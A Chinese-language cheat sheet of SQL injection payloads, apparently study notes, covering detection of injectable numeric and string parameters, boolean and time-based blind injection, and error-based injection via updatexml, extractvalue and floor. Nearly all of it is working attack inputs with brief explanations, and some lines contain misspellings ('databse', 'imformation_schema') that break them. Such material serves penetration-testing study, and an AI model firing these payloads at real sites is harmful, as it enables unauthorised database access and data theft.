union select

数字类型

查询语句中的参数没有被引号包起来,如id=1(有些闭合参数不使用引号,而使用括号来闭合)

payload:

id=1'                       页面返回错误

id=1+1 或id=3-1             如果存在id=2这条数据,返回结果为真,否者为假
id=1+0                      页面返回正常

id=1 and 1=1                页面返回正常
id=1 and 1=2                页面返回错误

id=1 or 1=1                 页面返回正常,or使得语句恒为真
id=1 or 1=2                 

id=-1 xor 1=1               异或,由于xor是短位运算符,必须先使前面的查询语句报错,否者没有结果。页面返回正常
id=1 xor 1=2               页面返回正确

id=1) and (1=1              页面返回正常

id=1 or 'ab'='a'+'b'        

id=1) or ('ab'='a'+'b'

字符类型

查询语句中的参数被引号包起来

payload:

id=1'                       单引号冲突,查询语句中id='$id',再加上一个单引号报错,页面返回错误
id=1'--+                    单引号与后面的注释#抵消,语句正常,页面返回正常

id=1' and '1'='1            页面返回正常
id=1' and '1'='2            页面返回错误

id=1' or '1'='2             or语句恒为真
id=1' or '1'='1

id=1')                      根据闭合情况测试,查询语句为id=('$id')时加上)

id=1"                       双引号与单引号情况相同

盲注

布尔盲注

页面无报错,有回显

payload:

id=1' and (length(database())=8) --+          当数据库长度为8时,页面返回正常;当数据库长度不为8时,页面返回与正常页面有所差异,页面却不会直接出错

id=1' or (length(databse())<8) --+

时间盲注

页面无报错,无回显

payload:

id=1 and if(1=1,sleep(5),1)               如果页面延迟大于5s,则存在注入点
id=1 and if(1=2,sleep(5),1)               如果页面延迟小于5s,则存在注入点

id=1 or if(1=1,sleep(5),1)               使用or判断时,如果or前面的语句为真,会将数据库中所有数据遍历一遍,花费的时间会特别多
id=1 or if(1=2,sleep(5),1)     

id=-1 xor if(1=1,sleep(5),1)              xor同or
id=-1 xor if(1=2,sleep(5),1)

基于报错注入

页面返回错误连接信息,在正常的地址后尝试判断其他类型注入时,页面会反馈出错误信息

updatexml

payload:

id=1' and updatexml(1,concat(0x23,version(),0x23),1)--+      如果页面的错误反馈爆出version()的信息,则可以确定存在注入点

extractvalue

payload:

id=1' and extractvalue(1,concat(0x23,version(),0x23)) --+    同updatexml

floor

payload:

id=1' and (select 1 from (select count(*),concat(0x23,version(),0x23,floor(rand(0)*2)) as x from imformation_schema.tables group by x) as y) --+              同updatexml